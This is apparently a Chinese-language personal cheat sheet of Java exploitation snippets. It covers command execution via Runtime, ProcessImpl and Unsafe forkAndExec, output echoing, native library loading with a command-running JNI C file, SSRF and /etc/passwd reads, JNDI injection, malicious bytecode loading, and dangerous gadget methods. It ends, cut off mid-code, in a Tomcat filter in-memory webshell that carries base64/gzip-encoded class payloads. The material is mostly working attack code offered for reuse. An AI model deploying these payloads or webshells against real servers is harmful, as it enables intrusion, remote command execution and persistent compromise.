自己记性差写代码少,来篇文章记录下

命令执行

Runtime命令执行

Runtime.getRuntime().exec("calc");

ProcessBuilder命令执行

new ProcessBuilder("cmd", "/c calc").start();

ProcessImpl命令执行

String [] cmd={"cmd.exe","/c","calc"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

forkAndExec命令执行-Unsafe+反射+Native方法调用

public byte[] toCString(String s) {
    if (s == null)
        return null;
    byte[] bytes  = s.getBytes();
    byte[] result = new byte[bytes.length + 1];
    System.arraycopy(bytes, 0,
                     result, 0,
                     bytes.length);
    result[result.length - 1] = (byte) 0;
    return result;
}

public String exec(String strs) {

    Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    theUnsafeField.setAccessible(true);
    Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

    Class processClass = null;

    try {
        processClass = Class.forName("java.lang.UNIXProcess");
    } catch (ClassNotFoundException e) {
        processClass = Class.forName("java.lang.ProcessImpl");
    }

    Object processObject = unsafe.allocateInstance(processClass);

    // Convert arguments to a contiguous block; it's easier to do
    // memory management in Java than in C.
    byte[][] args = new byte[strs.length - 1][];
    int      size = args.length; // For added NUL bytes

    for (int i = 0; i < args.length; i++) {
        args[i] = strs[i + 1].getBytes();
        size += args[i].length;
    }

    byte[] argBlock = new byte[size];
    int    i        = 0;

    for (byte[] arg : args) {
        System.arraycopy(arg, 0, argBlock, i, arg.length);
        i += arg.length + 1;
        // No need to write NUL bytes explicitly
    }

    int[] envc                 = new int[1];
    int[] std_fds              = new int[]{-1, -1, -1};
    Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
    Field helperpathField      = processClass.getDeclaredField("helperpath");
    launchMechanismField.setAccessible(true);
    helperpathField.setAccessible(true);
    Object launchMechanismObject = launchMechanismField.get(processObject);
    byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

    int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

    Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
        int.class, byte[].class, byte[].class, byte[].class, int.class,
        byte[].class, int.class, byte[].class, int[].class, boolean.class
            });

    forkMethod.setAccessible(true);// 设置访问权限

    int pid = (int) forkMethod.invoke(processObject, new Object[]{
        ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
        null, envc[0], null, std_fds, false
    });

    // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
    Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
    initStreamsMethod.setAccessible(true);
    initStreamsMethod.invoke(processObject, std_fds);

    // 获取本地执行结果的输入流
    Method getInputStreamMethod = processClass.getMethod("getInputStream");
    getInputStreamMethod.setAccessible(true);
    InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    int                   a    = 0;
    byte[]                b    = new byte[1024];

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    return baos.toString();
}

JShell执行任意代码

jdk>8下

jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")");

命令回显

常规

Process process = Runtime.getRuntime().exec("cmd.exe /c "+"ipconfig");
InputStream in =  process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
    sb.append(line).append("\n");
}
String str = sb.toString();
System.out.println(str);

Scanner回显

String cmd = "whoami";
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);

一行代码命令回显

回显第一行

System.out.println(new Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).next());
System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine())

回显所有结果

System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).useDelimiter("\\A").next())

使用linux socket文件特性回显

java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
c.setAccessible(true);
//一般50以内的文件描述符就能遍历到,从3开始,0为标准输入,1为标准输出,2为标准错误输出
for(int i=3;i<50;i++){
    try {
        new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine().getBytes());
    }catch (Exception e){}
}

加载动态链接库

常用

System.load("/tmp/lib.so");
System.loadLibrary("tmp/lib.so");

loadLibrary0加载

ClassLoader loader = ClassLoader.getSystemClassLoader();
Class evilClass = Class.forName("evilClass");
File libPath = new File("/tmp/lib.so");
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, evilClass, libPath);

NativeLibrary#load加载

准备 EvilClass.java

public class EvilClass  {
    public static native String execCmd(String cmd);
}

在当前目录运行

javac EvilClass.java
javah EvilClass

生成 EvilClass.h 文件如下

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */

#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     EvilClass
 * Method:    execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
  (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

根据EvilClass.h文件编写EvilClass.c文件

EvilClass.c

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

编译生成对应动态链接库文件

gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass  {
    public static native String execCmd(String cmd);

}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//执行命令
EvilClass.execCmd("whoami");
......
......

SSRF

常见

new URL("http://127.0.0.1/").openStream();
new URL("file:///etc/passwd").openStream();
new JEditorPane().setPage("http://127.0.0.1/");

绕过trick

new URL("file:///etc/passwd").openStream();
//等价于
new URL("url:file:///etc/passwd").openStream();

文件写入

FileOutputStream写文件

FileOutputStream fos = new FileOutputStream("1.txt");
fos.write("test".getBytes());
fos.close();

RandomAccessFile写文件

RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw");
randomAccessFile.write("test123".getBytes());
randomAccessFile.close();

FileSystemProvider写文件

java.nio.file.Files.write(java.nio.file.Paths.get("2.txt"), "test".getBytes());

文件读取

一行代码读取文件所有内容

System.out.println(new java.util.Scanner(new java.io.FileInputStream("test.txt")).useDelimiter("\\A").next());

FileInputStream读文件

FileInputStream fis = new FileInputStream("test.txt");
byte[] bs = new byte[fis.available()];
fis.read(bs);
System.out.println(new String(bs));
fis.close();

//or
FileInputStream fis = new FileInputStream("test.txt");
int a = 0;
byte[] bytes = new byte[1024];
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((a = fis.read(bytes)) != -1) {
    out.write(bytes, 0, a);
}
System.out.println(out);
fis.close();

RandomAccessFile读文件

RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw");
byte[] res = new byte[(int) randomAccessFile.length()];
randomAccessFile.read(res);
randomAccessFile.close();
System.out.println(new String(res));

FileSystemProvider读文件

byte[] res = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("test.txt"));
System.out.println(new String(res));

URL类读文件(目录)

//形成SSRF,可读目录
String url = "file:///D:/";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
System.out.println(Arrays.toString(bs));
System.out.println(new String(bs));

JNDI注入

new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/exp");

恶意类加载

远程class加载

URL[] urls = new URL[]{new URL("http://127.0.0.1/")};
URLClassLoader.newInstance(urls).loadClass("Exploit").newInstance();

TemplateImpl加载字节码

//弹计算器
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

spring ReflectUtils加载字节码

//恶意字节码
byte[] bytes = new byte[]{};
org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, ClassLoader.getSystemClassLoader());

ClassLoader defineClass 加载字节码

byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();        
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class c = (Class) defineClass.invoke(cl, "Test", code, 0, code.length);
c.newInstance();

Unsafe defineClass 加载字节码

byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();

Unsafe defineAnonymousClass 加载字节码

byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();

jdk17+ bypass module

public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    Class unsafeClass = Class.forName("sun.misc.Unsafe");
    Field field = unsafeClass.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    Unsafe unsafe = (Unsafe) field.get(null);
    Module baseModule = Object.class.getModule();
    long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    unsafe.putObject(currentClass, offset, baseModule);
}

Unsafe类

defineClass 加载字节码

byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class"));
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();

defineAnonymousClass 加载字节码

byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();

allocateInstance不执行构造方法实例化对象

Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe theUnsafe = (Unsafe) f.get(null);
Test test = (Test) theUnsafe.allocateInstance(Test.class);

suid

查看sUID

ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);
System.out.println(osc1.getSerialVersionUID());

修改sUID

TemplatesImpl obj = new TemplatesImpl();
java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");
sUID.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);
sUID.set(obj, -3070939614679977597L);
System.out.print(getFieldValue(obj, "serialVersionUID"));

有危害的方法

setter


JdbcRowSetImpl obj = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj.setAutoCommit(true);
        
oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();
obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj2.setCommand("123");

com.sun.management.jmx.TraceListener obj3 = new com.sun.management.jmx.TraceListener();
obj3.setFile("1.php::$INDEX_ALLOCATION");
        
new JEditorPane().setPage("http://127.0.0.1/");

new org.apache.batik.swing.JSVGCanvas().setURI("http://127.0.0.1/");

getter

java.net.URL url = new URL("http://127.0.0.1");
url.getContent();
        
com.sun.rowset.JdbcRowSetImpl obj = new JdbcRowSetImpl();
obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj.getDatabaseMetaData();

Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
javax.naming.directory.Attribute obj2 = (Attribute) ctor.newInstance("id");
setFieldValue(obj2, "baseCtxURL", "ldap://127.0.0.1:1389");
setFieldValue(obj2, "rdn", new CompositeName("exp"));
obj2.getAttributeDefinition();

FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj3 = new TemplatesImpl();
setFieldValue(obj3, "_bytecodes", new byte[][]{bs});
setFieldValue(obj3, "_name", "TemplatesImpl");
setFieldValue(obj3, "_tfactory", new TransformerFactoryImpl());
obj3.getOutputProperties();

oracle.jdbc.rowset.OracleCachedRowSet obj4 = new OracleCachedRowSet();
obj4.setDataSourceName("ldap://127.0.0.1:1389/exp");
obj4.getConnection();

有危害的单String参数构造方法

org.springframework.context.support.ClassPathXmlApplicationContext obj = new ClassPathXmlApplicationContext("http://127.0.0.1");
org.springframework.context.support.FileSystemXmlApplicationContext obj2 = new FileSystemXmlApplicationContext("http://127.0.0.1");

静态方法

//jdk>8
jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")");
org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, java.lang.ClassLoader.getSystemClassLoader());

利用静态方法实例化对象,在一些模板注入中常用

java.beans.Beans.instantiate(null, "org.springframework.context.support.ClassPathXmlApplicationContext");

其forName方法只能加载到jdk内部中的类(获取的类加载器为null)

sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.script.ScriptEngineManager"));

sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.naming.InitialContext"));

其他

new javax.swing.plaf.synth.SynthLookAndFeel().load(new URL("http://127.0.0.1:8080/evil.xml"));
new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc');\")");
//MLet 继承自 URLClassloader
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/evil.jar");
mLet.loadClass("Exploit").newInstance();

spring模板内置对象获取各种bean

springMacroRequestContext.webApplicationContext.getBean("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory");

jacksonBean实例化对象

applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz)

内存马

tomcat高兼容性filter内存马

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;

// ?cmd=calc
public class TomcatFilterMemShell {
    public String getUrlPattern() {
        return "/*";
    }

    public String getClassName() {
        return "CmdFilterShell";
    }

    public String getBase64String() {
        return new String("H4sIAAAAAAAAAKVWa3MTZRR+Nrd3s9lCm14gtKWgUtJrFLBqCggWELTQ2iDYFsVtsm22JLshu+lFVLzffoH9Bf3ijMOMhqKjg86IM3xkhvGj/g4/gM9uSklqwA9+2PNeznuec85zzr67t+/98DOAA/hKwW68KONIGLtwVOAlgZEIAjgm47iCE3hZgYqTMk654ysCr8oYlXFaxhkZYwrG8ZorJhSkcFbgdQUtOCfjvDu+4YpJV0zJmI4giAsK3sRbrrgo8HYEGmYE0gIZAV1CoKDZtoTo6Ly2oCVymjmXSDlFw5wblhA6aJiGc1iCP95zjkdHrAwtto4apn6mlJ/Ri2e1mRx35Ix1wsg5elHCdNwDWkrYenEhpzuJVGWc0C+XdNsZfpTWLlimrW9WV1BHspphDrsRNKQcLX3ptFbwHHtZzArMCWQrHJIpAUNgnqQwVwnK8aW0XnAMggtcEsgxCzcnCV2bA133ZZmzxpznTGQYcNFaJkrKKhXTOk8w2eaRfKZyNpXVc7lBF0XFHnSTpnQ+o+JJPCVhTy141nEKiZMUtXRI6P6vcxViVORhMiTLHjS1PDO3VBRgqrgMku5fNDi1QbzGzWWU4LOzFANpmjO+QX2JSfgSpK6kYgGLKpawLPCOiit4V0KTB1ByjFwildZMUy+6yb1HkwtHVbyPqyo+wIcqPnIdszs/xicCn6r4DJ+r+MJloflhCBvss0IqevClhC219NVEPDYzr6eZREu9ykjoeFxnSeh8bGtJiD2ytxjzdL3+r2RiWIlTZqHkcFvX8tW7Yxv5SdhZ13vVAXVOd8a1IqvnJdMd/7fHnnpBVFd02XZ0RhBxoYpWQS867M6IY41ai0xFc7NsiddFkdOW6TBVvurt1Z6ZfzHlMmim9eGeqQf193QTJdMx8sRU6G9j0VrjYH2bHgJsLPZYPF6HymoLBp7WbXu4xtX6JtuDrmrY3vbAXW0ZaL49XlfhvrpqydaP6Tkjb3hc730019WNTkyR1ewz+pLjXXlkI2B6izCjOl+sgFUHNE6odUV1u1RtSwguuhOXtzpBMNbgbK7kvqFH/t/N2XOOn5RdfCQ8wUdyryF+awKc8W6i3MtVH3ycAZHe65B6o77v4b/GJatGuQV+SoUmYcoId3vQSwMaSr/wO9JA7V99NxFIBvpvIpgMxgK938F/AyEfkqFY6Ba+DQyJqFiDnJRj8i00x+QywlGljMgKQv4h0SpWsCv0E9RJf7QhNRmIbklNEiXq8zBSq+hcV251lY01ymR4DU2xcBnRMpqTyo9omYwp19EabStjWzISi5SxfQXeGFtFMLojqcaCN9DO914to2N9XkbnKhqTYhWRgb7+G+jyYxUNydCDxTXmuxO/4jdKFXdwl6PPY2cKbZQNCJEnFU2IIUpdCwlvpb4NSWzDIe5ewQ5eg+34Gh34Bp1Y8/B2E7ELv3O8zcLcIad3WZY/WJg/yXIfkS9CuU+AsEC/wIDAoEBC4GmBZwT2SXyA3ZMC+++5mv0CBwSe5Z/Dvvv0J+oagVZDgb8h+GUcCuM5OgkxmefxAkubxHCltAwZnLHGDzsh5DVJv2fiNpBrcHCjiWLeuToGCcpDHtrhfwDY1iAi6ggAAA==");
    }
    //适配springboot3
    public String getBase64String2() throws IOException {
        return new String("H4sIAAAAAAAAAKVWWXMUVRT+bjKZO5npkGQCgRHIAkI2yLBGmIBKwqphkWExAcXOpJPpMOkJ3T1Z3HdxQ8WN4FLlU16ssqjSQLS0KKrEKh4tLat8kd/hA/h1z2SYMZPEKh+6+957zv3OOd855/a9def7nwBswZd+FKFYwqOgBF6BikF1RA0nVGMgfLh3UIvZAt4duqHbDwoUNzad8MHHQWyorxR+BCQUBWVYJLCoc6hvr56wNTMa1xIJAc+walkCwa57gFHb1I2BdokKgYZB9axq2mrY0syRhGaH47Y9HN7PVzS9cFQ7l9IsWyIo0LiwsjWcNCwtgHIsVrAE1QLKgGYfUU11SKNTAmsbZ3vSNHvJh2UCMmm1Gtzox31YLrFCwUoHMYeb6Lhla0MCAceImRzWTHvcj1rUSdQrWIXV+douNrXtZFdyVDM7VUsTWNxY0P4a8juqGw5ag4JGNAn4YknDVnWDfC7PDaMzrppRhycjprU39fjQIlBkxX1Yz+/6mA9hxsJctWpjmg8buRiO+bEZWyS2KmjDAwKV99COpgxbH6JjfgaVnSzJ8zKz3O6gbFcQQTszTfQYk9R4an6GyVNMsyzu3YkHJR5S8DB25XmQ0WA10YMDxnDKJoymkuelM17oyXCOgLXUOYOQsvVEOBpTDUMz/ejAHqei9wosayy40ynl/WTk9C5H+REFj6KLRZOytN1aQh/S3aJpmLtocs21OxCHFBzGERIeV61D2pjt9kuPIzmqIOpUhMfgsg/HBRBAJU4qeBzdAqUM9qSZNpgb5xGaywho4BROSzyh4EmcEagqoCNQMuoMnJQV8PqEA6Eq6HW6vKQ/kbLiEn0zUK7qnrGYNmzrSSOAfgxIxBXoGGTN/bv90o3O6tMNFmdfMj0X2O0YzlfN7+b2ueXpBqafEjw9qgubJIedyT6GWN6lG9qh1FCvZh5TexOac9AkY2rihGrqzjyz6LHjOsupoiv/dGLRqv/f1VkKObQwDlofUU22mOhJD7elP9vJeYFOYVIo3LiB6StYrxk5m7iqQAFmpJvSJtoy0y1ZsPz8tqfViFW3EAtpTeLWL8hHWnWzwMp5mUmr0bWmWWpz/AMyW7YKNP+HLVlvyqK2Gjt7UB12i0HiHYGa+aOVuCBQu0CcEqMSH+T0YN5B5c+SbEl8lKt1OCuR+ITMz2Emq8WyPajZ8WRf9ifGSvY4v2ImY3b1ZihOGv36gFt9NfOr8KDqY8hmcpxOR5MpM6ZRzp6pyu+VVicA1MO5Jwic5SOcPz4vDx6OeGfge4izna6cJ1vzVYjmoPwOpVc4LYLB9yIUOyJuca4NCpKcKWl1DOMcv4JHjUktQhUdJ2wZ1263XEd5xLPuOiojJSFP87conUZVESLekPcmvvG0yeDSawhFfCHfTVSFfFOoCd4/hbUT8Ba3ySVyAnXeH1HbXRxsjnZ7guui3UQJShcjOomVGWGrI9yQJ4yUXsOmUOkUtk1hR8T/Azq6Q/6r2B3cN4UDkUAoMIWDE3C/j02iJHgsooRKpkHWQ8oUejLjKTw1iYqInERgfcu6aWjFmERZxDszuUJ2anADPyNGNn7F7/wWu3z1oJrvcpJbQUkVQlhMzWqmYSlvBMv43w2R8BV4hheT85Rc4mXha9ThGjVuYDURV+EXfm9hDXGbiNyAP7jzL7S43F9gRurxFSzYkFy/jBRXfMTbhxGMMkvnaWMM48zWJTTjaUoCtFCNZ6mn0Po0nuPIS1QfnscLHDFfmVw6oxfxkpvf23gZrzBOZ/QqXmN8XvyJ1/EGa0HBb7TzJrP9FuVn4L/LoEol/BJvS7wr0S9RLlEpUSv4APXdEu/dQSvfEu9LdOzi8l1e0mTBTeCumOdvyA5+S3GRRrx05UN8jE85Liuml6B/oGdOBV7CRLoCsdWtXK7dK2GvG06rS191WpgNVxDoMt8XM12Rxi8RLr7AZ9kmaXHnBXA35rSEyLbE567WF/8ATUBjw60LAAA=");
    }

    public TomcatFilterMemShell() {
        try {
            List<Object> contexts;
            try {
                contexts = this.getContext();
            } catch (Exception e) {
                bypassModule(this.getClass());
                contexts = this.getContext();
            }
            Iterator var2 = contexts.iterator();
            while(var2.hasNext()) {
                Object context = var2.next();
                Object filter = this.getFilter(context);
                this.addFilter(context, filter);
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

    }

    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        List<Object> contexts = new ArrayList();
        Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
        Object context = null;

        try {
            Thread[] var4 = threads;
            int var5 = threads.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Thread thread = var4[var6];
                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
                    HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
                    Iterator var9 = childrenMap.keySet().iterator();

                    while(var9.hasNext()) {
                        Object key = var9.next();
                        HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
                        Iterator var12 = children.keySet().iterator();

                        while(var12.hasNext()) {
                            Object key1 = var12.next();
                            context = children.get(key1);
                            if (context != null && context.getClass().getName().contains("StandardContext")) {
                                contexts.add(context);
                            }

                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                                contexts.add(context);
                            }
                        }
                    }
                } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
                    if (context != null && context.getClass().getName().contains("StandardContext")) {
                        contexts.add(context);
                    }

                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                        contexts.add(context);
                    }
                }
            }

            return contexts;
        } catch (Exception var14) {
            throw new RuntimeException(var14);
        }
    }

    private Object getFilter(Object context) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
        Object filter = null;
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        if (classLoader == null) {
            classLoader = context.getClass().getClassLoader();
        }

        try {
            filter = classLoader.loadClass(this.getClassName());
        } catch (Exception var9) {
            try {
                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defineClass.setAccessible(true);
                Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
                filter = clazz.newInstance();
            } catch (Throwable var8) {
                byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String2()));
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                defineClass.setAccessible(true);
                Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
                filter = clazz.newInstance();
            }
        }

        return filter;
    }

    public String getFilterName(String className) {
        if (className.contains(".")) {
            int lastDotIndex = className.lastIndexOf(".");
            return className.substring(lastDotIndex + 1);
        } else {
            return className;
        }
    }

    public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        ClassLoader catalinaLoader = this.getCatalinaLoader();
        String filterClassName = this.getClassName();
        String filterName = this.getFilterName(filterClassName);

        try {
            if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
                return;
            }
        } catch (Exception var16) {
        }

        Object filterDef;
        Object filterMap;
        try {
            filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
            filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
        } catch (Exception var15) {
            try {
                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
            } catch (Exception var14) {
                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
            }
        }

        try {
            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});

            Constructor[] constructors;
            try {
                invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
            } catch (Exception var12) {
                invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
            }

            try {
